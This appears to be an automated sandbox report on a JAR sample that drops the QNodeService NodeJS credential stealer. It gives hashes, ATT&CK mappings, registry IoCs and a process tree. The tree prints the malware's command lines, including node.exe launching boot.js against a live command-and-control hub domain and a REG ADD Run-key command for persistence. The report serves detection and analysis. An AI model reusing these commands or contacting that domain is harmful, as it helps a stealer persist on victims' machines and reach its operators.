qnodeservice | 47f862b9d75a9190696a0620efddfe7e43b16b79c0b0f009a55ed5360f35b312

General

Target

fin_bsc_report.jar
Size

73KB
MD5

7447f61327acef94cbdaaaacdc5f7f2d
SHA1

d831ded9fc308cc53be80d819d33128392fcf962
SHA256

47f862b9d75a9190696a0620efddfe7e43b16b79c0b0f009a55ed5360f35b312
SHA512

0f4264a0335589b23e1c1a65f6bcbec24d5c4266e5d5d851fa2ad6990300618c7fa4e44ec957e095a9629c6d95175883636d7e7188297387ca21c25372cf8146

Score

10^/10

spyware trojan qnodeservice persistence

Malware Config

Signatures

QNodeService
Trojan/stealer written in NodeJS and spread via Java downloader.
trojan qnodeservice

Executes dropped EXE 3 IoCs

pid	Process
1076	node.exe
900	node.exe
1160	node.exe

Loads dropped DLL 6 IoCs

pid	Process
1160	node.exe
1160	node.exe
1160	node.exe
1160	node.exe
1160	node.exe
1160	node.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware

Data from Local System
T1005

Credentials in Files
T1081

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run	reg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2066881839-3229799743-3576549721-1000\Software\Microsoft\Windows\CurrentVersion\Run\29732ecc-c047-476e-ad5b-b0041e294f96 = "cmd /D /C \"C:\\Users\\Admin\\qhub\\node\\2.0.10\\boot.vbs\""	reg.exe

JavaScript code in executable 3 IoCs

resource	yara_rule
behavioral2/files/0x000100000001ad87-171.dat	js
behavioral2/files/0x000100000001ad87-175.dat	js
behavioral2/files/0x000100000001ad87-179.dat	js

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	wtfismyip.com
18	wtfismyip.com

Checks processor information in registry 2 TTPs 6 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	node.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz	node.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString	node.exe

Suspicious behavior: EnumeratesProcesses 18 IoCs

pid	Process
1076	node.exe
1076	node.exe
1076	node.exe
1076	node.exe
900	node.exe
900	node.exe
900	node.exe
900	node.exe
1160	node.exe
1160	node.exe
1160	node.exe
1160	node.exe
1160	node.exe
1160	node.exe
1160	node.exe
1160	node.exe
1160	node.exe
1160	node.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2928 wrote to memory of 2184	2928	java.exe	76
PID 2928 wrote to memory of 2184	2928	java.exe	76
PID 2184 wrote to memory of 1076	2184	javaw.exe	78
PID 2184 wrote to memory of 1076	2184	javaw.exe	78
PID 1076 wrote to memory of 900	1076	node.exe	80
PID 1076 wrote to memory of 900	1076	node.exe	80
PID 900 wrote to memory of 1160	900	node.exe	81
PID 900 wrote to memory of 1160	900	node.exe	81
PID 1160 wrote to memory of 1748	1160	node.exe	83
PID 1160 wrote to memory of 1748	1160	node.exe	83
PID 1748 wrote to memory of 3708	1748	cmd.exe	84
PID 1748 wrote to memory of 3708	1748	cmd.exe	84

C:\ProgramData\Oracle\Java\javapath\java.exe
java -jar C:\Users\Admin\AppData\Local\Temp\fin_bsc_report.jar
1⤵
- Suspicious use of WriteProcessMemory
PID:2928
- C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe
  "C:\Program Files\Java\jre1.8.0_66\bin\javaw.exe" -jar C:\Users\Admin\AppData\Local\Temp\cea6dfb4.tmp
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2184
- - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
    C:\Users\Admin\node-v14.12.0-win-x64\node.exe - --hub-domain chinpao.hopto.org --hub-domain localhost
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:1076
  - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
      C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Ilvx95\boot.js --hub-domain chinpao.hopto.org --hub-domain localhost
      4⤵
      Executes dropped EXE
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of WriteProcessMemory
      PID:900
    - - C:\Users\Admin\node-v14.12.0-win-x64\node.exe
        
        C:\Users\Admin\node-v14.12.0-win-x64\node.exe C:\Users\Admin\AppData\Local\Temp\_qhub_node_Ilvx95\boot.js --hub-domain chinpao.hopto.org --hub-domain localhost
        5⤵
        Executes dropped EXE
        Loads dropped DLL
        Checks processor information in registry
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of WriteProcessMemory
        
        PID:1160
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "29732ecc-c047-476e-ad5b-b0041e294f96" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\"""
        6⤵
        Suspicious use of WriteProcessMemory
        
        PID:1748
        
        C:\Windows\system32\reg.exe
        
        REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "29732ecc-c047-476e-ad5b-b0041e294f96" /t REG_SZ /F /D "cmd /D /C \"C:\Users\Admin\qhub\node\2.0.10\boot.vbs\""
        7⤵
        Adds Run key to start application
        
        PID:3708

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Credentials in Files

1

T1081

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Data from Local System

1

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/900-176-0x0000031B00B80000-0x0000031B00B81000-memory.dmp

Filesize
4KB

Download
memory/1076-173-0x000001F977CC0000-0x000001F977CC1000-memory.dmp

Filesize
4KB

Download
memory/1160-180-0x0000030F65180000-0x0000030F65181000-memory.dmp

Filesize
4KB

Download

Analysis

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